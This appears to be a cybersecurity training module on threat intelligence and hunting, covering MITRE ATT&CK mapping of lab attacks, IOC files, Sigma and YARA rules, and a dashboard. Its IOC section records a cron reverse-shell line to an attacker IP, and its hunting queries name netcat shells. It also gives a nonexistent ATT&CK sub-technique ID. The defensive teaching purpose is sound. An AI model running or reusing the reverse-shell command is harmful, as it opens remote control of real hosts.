Files
seclab/MOD8_Threat_Intelligence.md
2026-05-28 18:27:41 -06:00

10 KiB

FILE: MOD8_Threat_Intelligence.md

MODULE 8: THREAT INTELLIGENCE & HUNTING

Learning Objectives

  • Map observed attacks to MITRE ATT&CK framework
  • Create and use Indicators of Compromise (IOCs)
  • Perform hypothesis-driven threat hunting
  • Build threat intelligence feeds
  • Update SOC dashboard with coverage metrics

MITRE ATT&CK FRAMEWORK

Understanding the Matrix

Tactics (Why): Attacker's objectives

  • Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Exfiltration, Command & Control, Impact

Techniques (How): Methods to achieve tactics

  • Example: T1190 (Exploit Public-Facing Application)

Sub-Techniques: Specific variations

  • Example: T1190.001 (SQL Injection)

LAB 8.1: MAP MOD3 ATTACKS TO MITRE ATT&CK

Metasploitable Exploitation Chain Mapping

ATTACK STEP 1: Port Scanning (MOD2)
MITRE Tactic: Reconnaissance (TA0043)
MITRE Technique: T1046 - Network Service Scanning
Detection: Suricata rule "GPL SCAN nmap"

ATTACK STEP 2: vsftpd Backdoor Exploitation (MOD3)
MITRE Tactic: Initial Access (TA0001)
MITRE Technique: T1190 - Exploit Public-Facing Application
Sub-Technique: FTP Service Exploitation
Detection: Connection to port 6200

ATTACK STEP 3: Command Execution
MITRE Tactic: Execution (TA0002)
MITRE Technique: T1059.004 - Unix Shell
Detection: Process creation logs, bash spawned by vsftpd

ATTACK STEP 4: Credential Dumping (hashdump)
MITRE Tactic: Credential Access (TA0006)
MITRE Technique: T1003.008 - /etc/passwd and /etc/shadow
Detection: File access logs on /etc/shadow

ATTACK STEP 5: SSH Key Persistence
MITRE Tactic: Persistence (TA0003)
MITRE Technique: T1098.004 - SSH Authorized Keys
Detection: File modification on /root/.ssh/authorized_keys

ATTACK STEP 6: Network Connection (Reverse Shell)
MITRE Tactic: Command and Control (TA0011)
MITRE Technique: T1071.001 - Application Layer Protocol (HTTP/TCP)
Detection: Outbound connection to 10.10.2.50:4444

Create MITRE Coverage Heatmap

// For React dashboard: dashboard/src/data/mitreAttackCoverage.js

export const mitreCoverage = {
  tactics: [
    {
      name: "Initial Access",
      id: "TA0001",
      techniques: [
        { id: "T1190", name: "Exploit Public-Facing Application", detected: true, ruleId: "SID:1000050" },
        { id: "T1133", name: "External Remote Services", detected: false },
      ]
    },
    {
      name: "Execution",
      id: "TA0002",
      techniques: [
        { id: "T1059.004", name: "Unix Shell", detected: true, ruleId: "SID:1000051" }
      ]
    },
    {
      name: "Persistence",
      id: "TA0003",
      techniques: [
        { id: "T1098.004", name: "SSH Authorized Keys", detected: true, ruleId: "SID:1000052" }
      ]
    },
    // ... continue for all tactics
  ]
};

// Calculate coverage percentage
const totalTechniques = 200; // Approximate MITRE techniques
const coveredTechniques = mitreCoverage.tactics.reduce((sum, tactic) =>
  sum + tactic.techniques.filter(t => t.detected).length, 0
);
const coveragePercent = (coveredTechniques / totalTechniques * 100).toFixed(1);

LAB 8.2: INDICATORS OF COMPROMISE (IOCs)

Create IOC Database

# Structure IOCs from MOD3 exploitation

cat > /home/analyst/iocs_metasploitable_breach.txt << 'EOF'
# Metasploitable Compromise - Feb 11, 2026

[NETWORK INDICATORS]
Attacker_IP: 10.10.2.50
C2_Port: 6200 (vsftpd backdoor)
C2_Port: 4444 (reverse shell listener)
Protocol: TCP

[FILE INDICATORS]
/tmp/.hidden_shell.sh  MD5:a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4
/root/.ssh/authorized_keys  Modified:2026-02-11T14:20:45Z
/var/www/html/shell.php  MD5:b4c6d8e0f2a4b6c8d0e2f4a6b8c0d2e4

[REGISTRY/PERSISTENCE]
Cron job: * * * * * /bin/bash -i >& /dev/tcp/10.10.2.50/4444 0>&1

[YARA RULE - Detect Meterpreter]
rule Metasploit_Meterpreter
{
    meta:
        description = "Detects Meterpreter payload signatures"
        author = "Apophis SOC"
        date = "2026-02-11"
    strings:
        $s1 = "meterpreter" nocase
        $s2 = "stdapi_" nocase
        $s3 = { 4D 65 74 65 72 70 72 65 74 65 72 } // "Meterpreter" hex
    condition:
        any of them
}
EOF

Threat Intel Platform Integration

# Use MISP (Malware Information Sharing Platform)
# Or OpenCTI (Open Cyber Threat Intelligence)

# For this lab, create simple CSV for IOC tracking:

cat > ioc_feed.csv << 'EOF'
Type,Value,Severity,First_Seen,Last_Seen,Description
IP,10.10.2.50,High,2026-02-11T14:00:00,2026-02-11T15:30:00,Kali attacker source
Port,6200,High,2026-02-11T14:15:00,2026-02-11T14:16:00,vsftpd backdoor port
Hash,a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4,Critical,2026-02-11T14:17:00,2026-02-11T14:17:00,Backdoor shell script
Filename,shell.php,High,2026-02-11T14:22:00,2026-02-11T14:22:00,Web shell
EOF

# Import to Security Onion for enrichment
# Alerts matching these IOCs auto-escalate to Critical

LAB 8.3: THREAT HUNTING

Hypothesis-Driven Hunting

Hypothesis 1: "Are there unauthorized SSH keys on critical servers?"

# Hunt across all Linux systems

# Search file modifications
find / -name authorized_keys -type f -mtime -7 -ls 2>/dev/null
# Shows authorized_keys modified in last 7 days

# Compare against baseline
# Golden image: Known-good authorized_keys hash
md5sum /root/.ssh/authorized_keys
# If hash differs → Investigate

# Query Security Onion
event.dataset: "system.auth" AND file.path: "*authorized_keys*"

Hypothesis 2: "Are there processes with suspicious parent relationships?"

# Hunt for shells spawned by web servers

ps aux | grep -E "apache|nginx|httpd" | awk '{print $2}' | xargs -I {} pstree -p {}
# Look for: apache --> bash --> netcat (BAD!)

# In Security Onion (Sysmon-like logging):
process.parent.name: "apache2" AND process.name: ("bash" OR "sh" OR "nc")

Hypothesis 3: "Are there large outbound data transfers (exfiltration)?"

# Query Zeek connection logs
event.dataset: "zeek.conn" AND network.bytes > 10000000 AND destination.ip: NOT 10.10.0.0/16
# Find connections >10MB to external IPs

# In Kibana visualization:
# X-axis: destination.ip
# Y-axis: sum(network.bytes)
# Shows top data transfer destinations

LAB 8.4: AUTOMATED THREAT HUNTING WITH SIGMA RULES

Sigma Rule Format

# Sigma rule: Detects SSH authorized_keys modification

title: SSH Authorized Keys Modification
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects modifications to SSH authorized_keys files (persistence)
author: Apophis SOC
date: 2026/02/11
tags:
  - attack.persistence
  - attack.t1098.004
logsource:
  product: linux
  service: auditd
detection:
  selection:
    type: 'PATH'
    name|endswith: '/authorized_keys'
  condition: selection
falsepositives:
  - Legitimate administrator adding keys
level: medium

Convert Sigma to Security Onion Query

# Install sigmac (Sigma converter)
pip3 install sigmatools

# Convert to Elasticsearch query
sigmac -t es-qs -c /etc/sigma/config.yml ssh_authorized_keys.yml

# Output KQL:
file.path: *authorized_keys AND event.action: modify

LAB 8.5: THREAT INTELLIGENCE FEEDS

Consume External Threat Intel

# Subscribe to abuse.ch feeds
wget https://sslbl.abuse.ch/blacklist/sslipblacklist.csv -O /tmp/malicious_ips.csv

# Parse and import to Security Onion
cat /tmp/malicious_ips.csv | grep -v "^#" | awk -F',' '{print $2}' > /tmp/ioc_ips.txt

# Create Suricata rule to alert on connections to these IPs
while read ip; do
  echo "alert ip any any -> $ip any (msg:\"Connection to Known Malicious IP\"; sid:2000000; rev:1;)" >> /etc/suricata/rules/local.rules
done < /tmp/ioc_ips.txt

# Restart Suricata
sudo so-suricata-restart

Create Custom Threat Feed

# Python script: generate_threat_feed.py

import json
from datetime import datetime

threat_feed = {
    "feed_name": "Apophis Lab Threat Intel",
    "version": "1.0",
    "generated": datetime.now().isoformat(),
    "indicators": [
        {
            "type": "ipv4-addr",
            "value": "10.10.2.50",
            "severity": "high",
            "labels": ["red-team", "internal-threat"],
            "first_seen": "2026-02-11T14:00:00Z",
            "tactics": ["TA0001", "TA0002", "TA0003"]
        },
        {
            "type": "md5",
            "value": "a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4",
            "severity": "critical",
            "labels": ["backdoor", "shell"],
            "techniques": ["T1059.004"]
        }
    ]
}

with open('/var/www/html/threat_feed.json', 'w') as f:
    json.dump(threat_feed, f, indent=2)

print("Threat feed published to: http://10.10.3.50/threat_feed.json")

LAB 8.6: UPDATE SOC DASHBOARD

Integrate MITRE Coverage into React Dashboard

// dashboard/src/components/MitreHeatmap.jsx

import { mitreCoverage } from '../data/mitreAttackCoverage';

export function MitreHeatmap() {
  const tactics = mitreCoverage.tactics;

  // Calculate coverage per tactic
  const tacticCoverage = tactics.map(tactic => ({
    name: tactic.name,
    total: tactic.techniques.length,
    detected: tactic.techniques.filter(t => t.detected).length,
    percentage: (tactic.techniques.filter(t => t.detected).length / tactic.techniques.length * 100).toFixed(0)
  }));

  return (
    <div className="panel">
      <h2>MITRE ATT&CK Coverage</h2>
      {tacticCoverage.map(tactic => (
        <div key={tactic.name} className="coverage-bar">
          <span>{tactic.name}</span>
          <div className="progress-bar" style={{width: `${tactic.percentage}%`}}>
            {tactic.percentage}%
          </div>
          <span>{tactic.detected}/{tactic.total}</span>
        </div>
      ))}
    </div>
  );
}

DELIVERABLES

  • MITRE ATT&CK mapping table for all MOD3 attacks
  • IOC database (CSV or JSON format)
  • 3 threat hunting hypotheses with query results
  • Sigma rule for persistence detection
  • Custom threat intelligence feed (JSON)
  • Updated React dashboard with MITRE coverage heatmap

END OF MODULE 8

Proceed to CAPSTONE: APT Simulation to integrate all skills.